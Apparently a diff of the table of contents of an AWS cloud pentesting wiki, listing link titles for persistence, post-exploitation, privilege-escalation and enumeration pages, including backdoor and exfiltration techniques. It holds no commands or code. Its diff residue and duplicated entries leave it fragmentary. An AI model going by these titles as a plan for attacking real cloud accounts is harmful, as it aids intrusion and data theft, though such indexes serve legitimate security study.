- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
|
||||
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -335,6 +373,7 @@
|
||||
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
|
||||
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
|
||||
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
|
||||
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
|
||||
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
|
||||
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
|
||||
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
|
||||
@@ -345,7 +384,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -370,6 +409,7 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -379,31 +419,32 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
